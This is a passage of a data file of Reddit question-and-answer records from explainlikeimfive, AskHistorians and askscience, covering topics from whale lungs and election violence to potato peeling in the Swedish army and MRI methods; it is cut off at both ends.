[["https://www.reddit.com/r/AskHistorians/comments/4tanta/victor_emmanuel_iii_of_italy_removed_mussolini/d5gcwss?context=3", "https://www.reddit.com/r/AskHistorians/comments/4yix93/history_of_italy_during_wwii/", "http://www.smbc-comics.com/comic/history-books"], ["https://www.reddit.com/r/AskHistorians/comments/35c0wp/in_eu4s_1444_start_date_i_see_the_oddly_named/"], [], []]}
{"q_id": "5kn3lk", "title": "those that don't speak english but can sing english songs perfectly, what is it about singing that allows them to form the correct structure of the words?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kn3lk/eli5_those_that_dont_speak_english_but_can_sing/", "answers": {"a_id": ["dbp4rvf", "dbp7ak5", "dbp7x6j", "dbp8b7k", "dbp8uat", "dbp9j10"], "score": [13, 2, 3, 8, 8, 3], "text": ["If you're talking about non-native English speakers being able to sing songs in English, take as an example the song \"Supercalifragilisticexpialidocious\". You can probably sing that word to the correct melody, right? Even though the word is nonsense. \n\nTo someone who doesn't speak English, the words may be nonsense, but they can still memorize the correct sounds. It just takes repetition.", "My explanation would be that people who sing have a \"musical ear\" therefore they perceive the words as musical notes (excuse my word selection, not a native english speaker) \nI sing and because of my musical ear thingy i can repeat almost any words/language/dialect i hear,  even though I have no idea what I'm saying.\nHope I helped you ", "I listen to a lot of Japanese songs, and I sometimes sing the words even though I don't know what they mean (usually. I'm trying to learn Japanese)\n\n >  Senbonzakura yoru ni magire kimi no koe mo todokenaiyo", "We're memorizing sounds, not lyrics. You actually do it all the time - for example, tell me what the \"Lightning Crashes\" by Live is about. If you've been raised through the 90's/00's, you've probably sang it in your car a couple dozen times, you know the words, but do you know the actual meaning of the lyrics?  Probably not until I just suggested you think about it. You just sing along by replicating the noises you hear. It's no different when singing a song in a language you don't know - just use your voice and mouth to make the same sound as what you're hearing. If you're using sheet music, you pronounce the sounds as best you can, in the tone indicated by the musical notations (seeing the note on paper triggers a memory of the sound *you have already heard* that is associated with that symbol), trying to reproduce a series of sounds someone else arranged into what we call \"music\". And if you're good at all this and can consistently produce sounds accurately in a pleasing manner, you're called a singer. ", "If you listen to foreigners closely when they sing in English you'll find that it's not even English words they're saying, rather just some similar sounding gobbledygook.", "I've sung songs in English, Japanese, Spanish, Italian, and German. I can only speak English and a very, very limited amount of Spanish.\n\nIt's easy enough to memorize sounds and sing them. After all, it's basically how babies learn to speak. Having the actual words as a guide helps a lot, even if English pronunciation rules are incredibly confusing. Still, the visual guide at least gives you a good representation, and you can apply the knowledge you have to sing the song. Over time it becomes easier and you learn how to pronounce more effectively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4frlab", "title": "for marine mammals, such as whales and dolphins, what is the benefit of being an air breathing animal that lives exclusively in the water? wouldn't water breathing with gills make more sense?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4frlab/eli5_for_marine_mammals_such_as_whales_and/", "answers": {"a_id": ["d2bdrz6", "d2be0ex", "d2bebjl", "d2bf9bg", "d2bflq2", "d2bfwb2", "d2bjmga", "d2bkd28", "d2bor5m", "d2bper0"], "score": [597, 134, 16, 12, 3, 21, 4, 6, 3, 2], "text": ["Not necessarily. Pulling oxygen out of the air is more efficient than pulling oxygen out of the water allowing for marine mammals to have higher metabolisms and power big, fancy brains.\n\nEven if it is a net-worse solution, marine mammals evolved from land mammals and evolution works with what it's got not what is best.", "Evolution doesn't create perfection, it vaguely makes small improvements with what already exists. Think of it like this:\n\nImagine you are a blind man instructed to climb up as high as you can. All you can feel your self ascending and descending. That is it. \n\nYou walk around, feeling essentially a flat earth. However, after some time you feel yourself ascending. Turning left and right doesn't increase your height, and going backwards makes you go down. You keep going forward, correcting your course up the winding path. Eventually you arrive at the peak, where moving in any direction only makes you go down. You sit on the highest point, content. Unaware to you, just a short walk away from the base of your hill is a giant mountain, far higher than the peak you sit upon.\n\nTo evolve gills, the whales and dolphins would have to \"devolve\" their lungs. Whatever compromises they have between lung and gills would be less effective to the creature's survival than just what lungs whales and dolphins have. Evolution will never accept something that is immediately less effective than what it already has (so in our example, moving down the hill), even if the end result is far better (climbing up the much higher mountain).", "Water contains very little usable oxygen, so water breathing creatures have to have slow metabolisms.\n\nBreathing air allows marine mammals to be far more active than fish can be.", "Whales are evolved from mammalians that lived on land. They adapted to live in shallow marine environments in order to spread into niches that were not as crowded as their land counterparts.  There is fossil evidence of the gradual reduction of their hind limbs, an enlargement of their tales and a flattening of their forearms to become flippers.  Gills are actually a more primitive adaptation and are considerably less efficient than lungs at allowing oxygen to cross into the bloodstream(although they do allow for breathing underwater).\n\nAn interesting adaptation that modern whales have (and likely comes from their early ancestors) is an extremely powerful myoglobin in their red blood cells that allows them to store more oxygen, allowing for extended dives.", "While many others have said \"evolution just works with what it has\", they haven't explained what advantage whales have that allows them to compete, and not get pushed out of the ecosystem.\n\nYes, oxygen is easier to access from air than from water.  But what do they do with it?\n\nIn short, this gives them access to big mammalian brains that take a lot of energy and oxygen, at depths of the ocean where the less transient fauna (animals that stay deep) can't generally compare to.  But, those animals don't face all the risks of being at the surface, so it's not a complete loss.", "A few weeks ago there was some controversy around the water re-breather hoax. People were pointing out that it was impossible for it to work since water just doesn't contain that much oxygen. The whale, by taking a lungful of air, has access to so much more oxygen than fish do that when they dive down they are basically like superman coming to Earth. They can afford to be faster, smarter, warm blooded, etc. I'm not sure if this is an appropriate comparison, but a killer whale is much faster than a similarly sized shark and actually might hunt sharks for food. They are also smart enough to raise young and work in groups. Another example is that a sperm whale can dive and hunt giant squid with ease. \n\nAlso there's the whole thing about how evolution might get stuck in local minimas. Maybe gills are better, but a change from lungs back to gills is such a huge leap that it is unlikely to ever happen. Mammals usually die if they get water in their lungs, so there's not much room for a gradual change from lungs to gills, not to mention you now have issues with salt balance, keeping warm because you're blood is in contact with water, and keeping water flowing over gills.\n\nJust as a side note, some turtles have evolved the ability to breath while underwater again, but not through their lungs, it's through sacks near their anus. Kinda like a lung that works in the water.", "It may be more beneficial in some ways to have gills over lungs but evolution does have limiting factors. As life evolves, the adaptations that survive do so at the opportunity cost of other adaptations that become more improbable do to body design constraints. with such highly developed lungs, it its exceedingly more improbable that gills will develop.", "They acquired lungs from ancestors who were land dwellers that returned to the sea. \n\nEvolution can only work with what it has. Example the Human Knee. ", "As I'm sure everybody else has said: marine mammals started on land, and so have lungs. While gills would be advantageous, you can't magically turn lungs into gills. Evolution is a hill climbing algorithm, and whales have started in a hole (if the top of the hill is gills) -- it'll take a long, long time for them to fully adapt. ", "You breath in air. Air is roughly 80% nitrogen, 20% free oxygen by volume.\n\nWater, near the surface, only has about ~0.5% free (or, rather, dissolved) oxygen by volume, and decreases more and more as you towards the bottom of the ocean such that near the bottom you have very little oxygen at all. [At just about 200 meters, water only has ~0.05% dissolved oxygen by volume.](_URL_1_) This is a large part of why, generally speaking, only comparatively small things live very deep in the ocean.\n\nThis means that gills become increasingly inefficient as you go down deeper and deeper.\n\nIn short, the bigger you are, the more oxygen you need. Oxygen is like fuel for your body, and just like a bigger car needs more fuel just to get around (because it has a bigger engine and needs more oil to feed that bigger engine), bigger animals need more oxygen just to get around.\n\nSo, being even at surface level, if you are a big animal, it is substantially beneficial to have lungs instead of gills. And if you want to go down deep, it benefits you even more to have them. A whale, while it has limited lung capacity, is still able to get access to nearly nearly 40 times more oxygen, per volume than gill-ed animals *even under the best conditions. This means it has access to substantially more energy (or, rather, substantially more fuel for its metabolic process which, in turn, give it access to substantially more energy), meaning it can grow much bigger.\n\ntf00t actually explains this reasonably well here:\n\n_URL_0_\n\nSo, in a lot of ways, it *is* comparatively beneficial. And, for especially large sea animals, it is more or less the only way to go, especially if you want to go down deep.\n\nThat being said, even if that weren't true, you should remember that evolution isn't magic and can't just change out body parts on a whim. And that is also a major factor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=S5ep2vUMJt0", "http://www.oceannetworks.ca/sites/default/files/images/pages/data/Saanich_oxygen_profile.gif"]]}
{"q_id": "1vhxmk", "title": "Has there ever been a serious movement to split Russia into separate states?", "selftext": "With Russia being as large as it is, and with the bulk of the population/political clout seemingly centered in the west, I was curious to see if there had been any discussion of break up the federation, especially in the wake of the Soviet Union.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vhxmk/has_there_ever_been_a_serious_movement_to_split/", "answers": {"a_id": ["cesglx6", "cet2ejn"], "score": [5, 3], "text": ["They kind of already do.\n\nThey currently have Eighty-Three(83) Federal Subjects, which are generally on par with other countries \"states\". Each subject has equal rights as constituent entities within the Russian Federation and they each have their own constitutions and legislation with each subject having 2 representatives in the Federation Council.\n\nSource: The Constitution of The Russian Federation\n\n[Here's a map I pulled off google images](_URL_0_)", "The Russian Federation's current state is already after two major episodes of balkanizations: the Russian Civil War period and the Fall of the USSR.\n\nSo to answer your question more directly: Russia's old boundaries have already been split up to the point where further splits are no longer as real a possibility, beyond continuing sectarian issues continuing to exist (primarily in the Caucuses)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Russian_Regions-EN.svg/1700px-Russian_Regions-EN.svg.png"], []]}
{"q_id": "4mdomu", "title": "Have US presidential campaigns traditionally been met with violent protest?", "selftext": "It seems like every morning on the news lately there's a story about people who support (or don't support) a certain candidate getting into violent altercations.  It would be easy to say \"What is the world coming to! This is the worst it's ever been!\" but I expect that this is not the case by a long shot.  Have there been other US presidential elections throughout history that were particularly known for their supporters/detractors getting out of control and ending in violence? Are we seeing something new, or is it all just the same old routine?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4mdomu/have_us_presidential_campaigns_traditionally_been/", "answers": {"a_id": ["d3v4uu6", "d3vj3j1"], "score": [36, 22], "text": ["The classic  example would be the 1968 election in which the Democratic Party split over Vietnam. A push by delegates at the Convention in Chicago, lead by Eugene McCarthy, to change the official policy to withdraw from Vietnam lead to violence on the floor of the Convention itself. The division ultimately contributed to the election of Republican Richard Nixon.\n\nMeanwhile, outside the Convention, more than 10000 anti-war protesters were attempting to make their views known. A large number of police were present and tears gas was deployed and protesters beaten.\n\nA bit of primary evidence won't hurt here - [this](_URL_0_) is some video of the riots. You can get a sense of the scale and the police response.\n\nYou might like the book [Chicago '68](_URL_2_) for a good introduction if this interests you. The view of the police can be obtained from [Battleground Chicago: The Police and the 1968 Democratic National Convention ](_URL_1_)\n\nThe whole year was hard - assassinations of MLK and Robert Kennedy. Anti-war protests, riots in Paris. Eight protest leaders ('the Chicago 8') were later put on trial and jailed.", "**Yes.** You might even say that violence during American presidential campaigns and elections was endemic until the 20th century.\n\nIn the period between the end of the Civil War and the 1920s, reactionary and conservative elements in the American South carried out a sustained and successful campaign of political terrorism designed to disenfranchise blacks and lower-to-middle-class whites. The Klu Klux Klan is known today, but it was one of many groups designed to roll back the progressive voting rights laws implemented after the end of the American Civil War through violence, intimidation and fraud.\n\nIn this case, terrorism absolutely worked. You can see it in the voter rolls. Turnout in the South fell from 64 percent in the presidential election of 1876 to 50 percent by 1900. It dropped to 32 percent by 1916, then just 20 percent by 1924. Poor whites and all blacks were effectively blocked from voting, creating the \"Solid South,\" a Democratic bloc of states that lasted until 1964 on the presidential election map.\n\nFoner's books on Reconstruction are some of the best for learning about how voter intimidation worked during this period and geographical area of American history.\n\nBut election violence was a constant presence even before the American Civil War. There was pro-slavery violence against abolitionists, there was nativist violence against pro-immigrant groups (and vice versa), there was violence between parties.\n\nWith regard to the nativist violence, turn to the presidential election year of 1844. In that year, the annexation of Texas and the extension of slavery was the top issue, but boiling under the surface was the issue of nativism. The United States was in the middle of a huge surge of immigration that was changing the demographics of the country. The new immigrants were mostly Catholic; the established ones mostly not.\n\n[In Philadelphia, things boiled over with some of the bloodiest civil insurrection until Kansas in the 1850s.](_URL_0_) In July, armed rioters and militia clashed repeatedly, and many were killed or injured. As Zachary Schrag, a historian studying the riots, writes:\n\n > \"Although American cities, particularly Philadelphia, had endured a surge of riots since the early 1830s, few individual riots lasted for more than a day, making the 1844 riots extreme in their severity and duration. *While some of the violence had been spontaneous, the ambitions of the nativist newspapers and political party in an election year likely sustained nativist fury through the spring and summer.* Though the riots were more than the simple transplantation of anti-Catholic violence from Northern Ireland, they echoed the deliberate provocation seen there.\"\n\nThe Philadelphia riots were a precursor to the electoral violence surrounding the nativist parties like the American Party and the Know-Nothings in the late 1840s and early 1850s. As former British cabinet minister James Buckingham wrote in 1841: \"one of the strongest of the national prejudices of the mass of the people of America, embracing all classes except the highest and most intelligent, is a dislike ... of all foreigners.\"\n\nWhen looking at historical sources and comparing them with modern events, take caution not to fall into *bias.* We have a great deal of information about the present and recent past, but our ability to access information from the more distant past is limited. Individual assaults and violent actions were not covered in detail as they are today. We do not have video record of such events, and we do today."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=7_9OJnRnZjU", "http://www.press.uchicago.edu/Misc/Chicago/465036.html", "http://press.uchicago.edu/ucp/books/book/chicago/C/bo3617456.html"], ["http://philadelphiaencyclopedia.org/archive/nativist-riots-of-1844/"]]}
{"q_id": "2wp97z", "title": "Where exactly is Voyager 1 located?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wp97z/where_exactly_is_voyager_1_located/", "answers": {"a_id": ["coswofq", "cot0q7c", "cot4xlz"], "score": [318, 59, 15], "text": ["[Here's where they were in 2007.](_URL_0_)  \nAnd here's some information on where they are now:  \n_URL_1_", "You should try downloading NASA Eyes on the Solar System.  \n\n_URL_0_\n\nIt gives live tracking of all NASA and some ESA Space Missions.  It is really cool because you can track all the probes, see where they have been and see where they are planned to be in the future.\n\n\nEdit: _URL_1_  link to video, try to ignore the cheesyness, they actually explain the application pretty well.\n\nEdit2: Forgot to mention the application uses real data coming from the spacecraft which I think is pretty cool all by itself.", "_URL_0_ has another view of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/thumb/5/5c/Outersolarsystem-probes-4407b.svg/1000px-Outersolarsystem-probes-4407b.svg.png", "http://voyager.jpl.nasa.gov/where/"], ["http://eyes.nasa.gov/", "http://youtu.be/kAvFhVBY5Po?t=50s"], ["http://heavens-above.com/SolarEscape.aspx"]]}
{"q_id": "3ls5iz", "title": "what did racoons do before becoming city dwellers, how did they adapt so well and learn so much?", "selftext": "Seriously though, how did a completely  wild, undomesticated animal become so good at scavenging in an urban environment?\n\nThey'd be breaking most instinct.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ls5iz/eli5_what_did_racoons_do_before_becoming_city/", "answers": {"a_id": ["cv8u9ug", "cv8uai4", "cv93wba", "cv9573n", "cv96pnm", "cv98ge7"], "score": [269, 56, 3, 3, 3, 7], "text": [" > They'd be breaking most instinct.\n\nThey're acting *completely* in line with their instincts.\n\nRacoons are smart, versatile omnivores (they'll eat meat, plants, bugs, whatever). Before people were around they'd hunt bugs, worms, sometimes birds, or rats, and eat nuts and fruit. They steal eggs out of nests and mostly lived around rivers, where they do that cool thing where they wash food with their teeny little racoon-hands.\n\nThey are one of those animals that have done pretty well in adapting to people and urbanisation. Foxes, (Australian) possums, and some monkeys have similarly used thier natural scavenger instincts and versatility to thrive in heavily populated areas. ", "Raccoons are a fairly intelligent species, and are among the smartest non-human mammals on the planet (on par with some primates). Their intelligence hasn't been studied very extensively, unfortunately, but they're able to solve puzzles and have a keen memory that can last for years after testing. \n\nIt's their intelligence that lets them adapt so well to their environment, as well as their curiosity and willingness to try new foods. In fact, raccoons may be second only to Humans for the variety of food they will eat. \n\nBefore urbanization, they were forest dwellers and lived off a wide variety of insects, small animals and plants; so not much different than they are today, really.", "Watch this movie and you will learn the history of Racoons _URL_0_", "Racoons weren't any more or less successful than other similar species prior to interaction with men. However when man came along, and especially when we started urbanizing the countryside, Racoons were better able to adapt to suburban lifestyle compared to other similar sized mammals. \n\nThis is exactly how evolution works. In a static situation, there is no change and animals tend to be static as well, not changing. Then a change occurs and some animals will find they have an advantage when compared to other animals. These animals perform and reproduce better, and it can be said that ecological stress 'selected' one species over another. If that stress had never occurred, the species might have remained obscure. \n\n\nAnother way to think about it, is imagine you're a bacteria. You need food, water, and to get rid of waste products, and you want to reproduce. How many times you can reproduce depends a lot on the first 3 things. The problem is, there are millions of other bacteria, even your own species, as well as other species, that are all in competition for these limited resources. \n\nNow imagine that you have a mutation that makes you resistant to Amoxycylin, a common antibiotic. In a healthy person, there is no antibiotic, and the organism has no advantage. Now imagine the patient takes the antibiotic......The other bacteria die off, but the resistant strain suddenly has no competition and it can reproduce more because now it is at an advantage. \n\nIt's not as simple as that though, being resistant doesn't mean the antibiotic doesn't hurt them. It means that it takes longer to hurt them and they are more likely to survive. This is why doctors tell you to keep taking the antibiotic even when you feel better. If you were to take just a little bit, it might kill off the infection, but it might cause a resistant strain to reproduce like mad where as if you had kept taking it, even the resistant strain might have died. ", "A woman down the road from my house used to feed them with cat food every morning. It started with one or two raccoons at first and then after a few months , there were over 30 of them waiting for her by the edge of the woods every morning. \n\nI moved away shortly after, but imagine she has a small army by now. \n\n", "1. grow thumbs\n2. look like cute little bandits\n3. ????\n4. Profit"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.imdb.com/title/tt0110008/"], [], [], []]}
{"q_id": "5rwz7b", "title": "How can butterflies and moths spend time in their chrysalis without suffocating to death?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5rwz7b/how_can_butterflies_and_moths_spend_time_in_their/", "answers": {"a_id": ["ddb6m3g", "ddbcmq9", "ddiyhxr"], "score": [3, 9, 2], "text": ["There's a radiolab episode about this. Caterpillars turn into a goo in the cocoon and then turn into a butterfly. \n\nHere's more info. \n\n_URL_0_", "The same way that caterpillars and adult butterflies spend time in their skin without suffocating, as the chrysalis is just a specialized, hardened skin. Caterpillars breathe through a series of pores on their bodies, called spiracles. The spiracles are retained through all stages of the insect's metamorphosis, including the chrysalis.", "The butterfly isn't \"in\" the chrysalis; it *is* the chrysalis. :) The skin of an insect pupa is, well, its skin; it's just unusually hard and firm during that stage of its life. Just like during the caterpillar and adult stages, the pupa breathes through extremely thin tubes that lead air from openings (spiracles) in the skin all the way to the cells. [Here's a moth pupa](_URL_1_) with one spiracle clearly visible on each segment.\n\nThe respiratory system is one of the parts of the body that remain in place the whole way through metamorphosis (others include the brain, some muscles, and parts of the gut). Much of the rest of the body is broken down and rebuilt to suit the adult insect's needs. If you're interested in what the inside of a developing butterfly pupa looks like, here's an [excellent article with some x-ray scans](_URL_0_).\n\nI'm a butterfly researcher, by the way, so feel free to ask if you have any other questions! :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.scientificamerican.com/article/caterpillar-butterfly-metamorphosis-explainer/"], [], ["http://rsif.royalsocietypublishing.org/content/10/84/20130304", "https://upload.wikimedia.org/wikipedia/commons/3/3a/Hyalophora_cecropia_male_pupa_3,_MM.jpg"]]}
{"q_id": "1e7o44", "title": "What was public perception like about enemies/enemy public during the Second World War?", "selftext": "How did say the British public view Germany and its people and vice versa? There must have been, even by the late 1930s, a lot of travel and to some extent integration between the peoples of countries that would become enemies during the war, so did views remain the same or did they change as a result of the war? How much did propaganda change the views of the public of Britain, Germany, Japan, and America?\n\nSorry for the amount of questions, I'm new to the subreddit, but very interested in learning more and becoming a part of it! I'm currently an undergraduate in the school of History at a uni in England, so getting involved here would be a bonus for me. I am aware that my wording could have been better, so feel free to interpret the question, I will be interested in anything to do with the subject really.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1e7o44/what_was_public_perception_like_about/", "answers": {"a_id": ["c9xqudi"], "score": [2], "text": ["In a word, brutal. I'm not too familiar with European propaganda, but the US propaganda was often highly racist, and designed to stereotype, mock, undermine and degenerate the enemy.  This is one of my favorite go to places for US WWII propaganda _URL_2_ and their sources page _URL_0_\n\nTo get a glimpse at US propaganda at the time, I offer up Doctor Suess' wartime drawings (Note the classic buck toothed Japanese man with thick glasses) _URL_1_ Disney produced a number of fantastic and entertaining cartoons. Der Fuehrer's Face and Gremlins from the Kremlin are two of my personal favorites.  \n\nThe US aimed to show our allies in noble and strong light, while making the Japanese appear as shifty sly Asians, the Italians as sort of hapless buffoons and the Germans as a type of mindless machine lead by a group of madmen.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blogs.baylor.edu/propagandaovertime/additional-resources/", "http://libraries.ucsd.edu/speccoll/dswenttowar/", "http://blogs.baylor.edu/propagandaovertime/"]]}
{"q_id": "eu7y8n", "title": "Potato history - What is the truth of the trope of a person having to peel potatoes in the military as a punishment?", "selftext": "Potato peels have nutrients. If you're trying to feed an army, why waste a bunch of nutrition and food stock? In TV and movies, it's long been a trope of a single person getting punishment and sitting next to a mountain of potatoes needing to be peeled. \n\nI found [this photo documentation](_URL_0_) of soldiers peeling potatoes back to the early 1900s, although it's not apparent that it's a punishment and most don't appear to be an official KP duty. Those photos are before science knew about glycoalkanoids, but it was common knowledge that green potatoes could make people sick. So peeling could have been a way to reduce poisoning.\n\nSo did the military peel potatoes to prevent against illness of green/sprouting potatoes? Did people get military punishment of peeling potatoes? It seems people have been eating baked potatoes a long time (skin and all), but most industrial preparations of potatoes is mashed with peeled potatoes. Is eating potato skins a more modern convention?\n\nEdit: forgot to add the link to photos. It's there now.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eu7y8n/potato_history_what_is_the_truth_of_the_trope_of/", "answers": {"a_id": ["ffqahsk"], "score": [32], "text": ["In the Swedish army, there were three kind of people that worked in the kitchens at the garrisons (in the field was a completely different matter, then the army had a supply organisation that handled these matters).\n\nFirst there were civilian employees, often female, that handled cooking and dishes, serving and other such duties in the kitchens and mess hall. These were headed by a *Husmor* (roughly Mistress of the House), usually a stern older woman that had the werewithals to handle not only a large staff but also the logistics of large delivieries, cooking and serving, budgeting and dealing with hundreds of endlessly hungry teenager conscripts coming to eat the food the kitchens provided.\n\nSecondly, there were *Handr\u00e4ckningsv\u00e4rnpliktiga*, (roughly assisting conscripts) according to the defence plans of 1925 and 1936, men who were not considered fit for frontline military duty due to a lack of wits or physical impediments were categorised as such and depending on the defence needs of the time either freed from conscription or placed as *handr\u00e4ckningsv\u00e4rnpliktig*, meaning they would recieve a very basic military training focused on defending themselves and their local garrison and spend the rest of the time as military clerks, doing cooking, cleaning, dishes, horse and vehicle care, administrative work (such as depot clerk, garrison receptionist/guard, typewriter, administrative clerk, secretary, mail sorter and deliverer, file worker and so on) or work to maintain the garrison such as building repair, painting, carpenting, ditch digging and so on. These soldiers, often slightly deragatory referred to as *malajer* (after the British usage of Malay people as military labour) would often be found in the kitches, working the simpler tasks of cooking, such as preparing potatoes. This system was abolished in 1981, as it was considered \"grey\" or forced labour. Any civilian duties not directly related to military matters had to be done by civilian employees from then on.\n\nThirdly, soldiers could be punished for slight breaches in discipline, failure in duty or just bad performance with *k\u00f6kshandr\u00e4ckning* (kitchen assistance) - this was not always a punishment. The *Husmor* could ask for some extra hands and an officer would command a few soldiers to lend a hand. These men were often young, and inexperienced in the kitchen (as many men were in the early 1900s, considering cooking a woman's work) and were thus put to work on heavy tasks unsuitable for the female staff (such as moving heavy delivieries to the larder) and simpler tasks - such as peeling potatoes and vegetables.\n\nSo, a young man in *[gr\u00f6trock](_URL_2_)* (roughly porridge coat), a simple tunic pulled over the uniform to protect it when doing dirty manual labour would be a common sight n a Swedish garrison kitchen from the introduction of conscription in 1901 until the end of civilian labour as conscription (and punishment) 1981.\n\nHowever, manual potato peeling was quite rare as it was time-consuming when feeding hundreds of men - the garrison kitchens were well-equipped and would have electric (such as [this](_URL_0_) or hand-cranked potato peelers to do their poato peeling.\n\nWhile potato peels do indeed contain a lot of nutrients, that was not always  widely known during the early 1900s and traditional Swedish cuisine often calls for potatoes with gravy and for the potatoes to be peeled, as it looks more appetizing and is easier to mash them into the gravy then. People would either boil the potatoes with the peel on and then peel them at the table or peel them before boiling them. Peels also have a slightly bitter and very appetizing taste. See for example [a traditional serving of Swedish meatballs with gravy, boiled potatoes, pickled cucumber, lingonberry jam and cream gravy](_URL_1_). In the military, the time-frame to eat could be small, especially with a mess hall and the next set of soldiers coming soon to have their turn at eating and having hungry men sit and peel potatoes at the table might not be considered efficient time use."]}, "title_urls": [], "selftext_urls": ["http://www.formerdays.com/2014/08/soldiers-peeling-potatoes.html?m=1"], "answers_urls": [["https://www.netauktion.se/uploads/extrabilder667981_large.jpg", "http://1.bp.blogspot.com/-ik0i4MfbQUI/URAhGr_n58I/AAAAAAAAAaI/L3iPgS2FgwM/s1600/kottbullar+med+potatis+brunsas+och+lingon.jpg", "https://tidningensyre.se/wp-content/uploads/2017/09/199-energi-syl-grotrock-847x600.jpg"]]}
{"q_id": "1g5ngi", "title": "why do space shuttles leave billowing exhaust behind them but china's rockets leave nothing?", "selftext": "I watched the launch of [China's Shenzhou-10](_URL_1_) but there was no visible exhaust behind the rocket other than the dirt it kicked up unlike the [Space Shuttle](_URL_0_) which leaves giant plumes. What's the deal?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1g5ngi/eli5_why_do_space_shuttles_leave_billowing/", "answers": {"a_id": ["cagz1l8", "cagzjr0", "cah0z7g"], "score": [2, 4, 2], "text": ["It looks like the solid-fuel booster rockets (fueled by aluminium oxidised by ammonium perchlorate)are producing the large orange exhaust, whereas the shuttle's own engines (fueled by liquid hydrogen oxidised by liquid oxygen) produce a transparent exhaust similar to the Shenzhou-10 exhaust.", "If you look closely you'll notice that the plume from the space shuttle is from the solid rocket boosters - not from the main engines. The [solid rocket booster of the space shuttle](_URL_2_) uses a different type of fuel than the [space shuttle main engines](_URL_1_) and the [Chinese Long March](_URL_0_) rockets, thus producing different reaction products.", "it' water vapor BRO !!"]}, "title_urls": [], "selftext_urls": ["http://youtu.be/xIoRWIgzvbM?t=1m40s", "http://youtu.be/1aXRYZpFKfw?t=19s"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Long_March_2F/G", "http://en.wikipedia.org/wiki/Space_shuttle_main_engines", "http://en.wikipedia.org/wiki/Space_Shuttle_Solid_Rocket_Booster"], []]}
{"q_id": "100wer", "title": "Are psychological theories and concept universal across cultures or are the ones we learn in school mostly applicable to Western cultures?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/100wer/are_psychological_theories_and_concept_universal/", "answers": {"a_id": ["c69gkl5", "c69htjs"], "score": [8, 3], "text": ["There's an entire field of psychology dedicated to cultural studies that investigate the difference between (usually) Western and Eastern cultures. I think the most popular is the comparison between [collectivist and individualist cultures](_URL_0_) and the impact that has on different behaviors.\n\nMost studies that you'll see from popular journal sources are performed on White, undergraduate students raised in western cultures (there is a paper talking about how this skews psychology data, but I can't find it at the moment). So you do have to keep in mind that most psychology studies are attempting to generalize from a small sample to the human population as a whole, and the merit of that is certainly debatable. Generally it is passed off as \"my study didn't look at that specifically.\"", "They are not universal across cultures. What may be psychologically acceptable to your culture will not be accepted in others. For example, in the Native American culture it is acceptable to cut oneself in a time of grievance, but in the western culture, someone who were to do this would be seen to need psychological help. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://psychology.wikia.com/wiki/Collectivist_and_individualist_cultures"], []]}
{"q_id": "28o3pf", "title": "why do children tolerate swimming in cold water better then adults?", "selftext": "We took the family camping along the shores of Lake Huron this past weekend. The temperature of the lake was less than 60 degrees. My son and his cousins were swimming (with life jackets) and loving it. I couldn't go in past my knees. Why do children and adults tolerate water temperature differently?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28o3pf/eli5_why_do_children_tolerate_swimming_in_cold/", "answers": {"a_id": ["cicrxmz"], "score": [6], "text": ["I think it has more to do with psychology than physiology: adventure is more important to children than comfort. Our priorities shift as we get older. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ln4qn", "title": "How Do Diffusion- and Perfusion-Weighted MRI Studies Work?", "selftext": "I'm currently reading a 2004 study on brain regions crucial for orchestrating language where they used diffusion and perfusion weighed MRI, but the paper does not go into much detail on how these work. Could anyone shed some light into these methods? Thank you in advance! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ln4qn/how_do_diffusion_and_perfusionweighted_mri/", "answers": {"a_id": ["c2u0p1x", "c2u4qra", "c2u0p1x", "c2u4qra"], "score": [6, 4, 6, 4], "text": ["It would also help if we know how much you know about NMR or MRI - then we can tailor the explanation of the mechanisms (especially [relaxation](_URL_0_)) for you.\n\nAddendum: In short, diffusion MRI tests the diffusion rate of water using pulsed field gradients, which changes the percession frequency of water depending on position; perfusion-weighted MRI uses a contrasting agent to increase relaxation of water, so you can track the relaxation through a blood vessel after injection of the agent.", "I don't know much about perfusion, but I think I can give a relatively intuitive description of diffusion imaging. And by intuitive I mean actually quite in-depth. This is too long to proofread, so let me know if something doesn't make sense.\n\nThe brain is (largely) composed of a thin sheet of neurons (the cortex, or grey matter) that are connected to each other via greasy little wires called axons, which make up much of the interior of the brain (or white matter). We want to be able to map these axons, to say whether there are anatomical connections between different brain areas. Diffusion imaging is a useful tool for doing this. It measures how much water (well, hydrogen nuclei, which there are a lot of in water) is moving in different directions. Because the axons are like long hollow noodles wrapped in layers of lard, water tends to move along the axons rather than across them. But how can we get that information from a magnetic field?\n\nI'll start at the beginning. The primary tool in the MRI kit is the 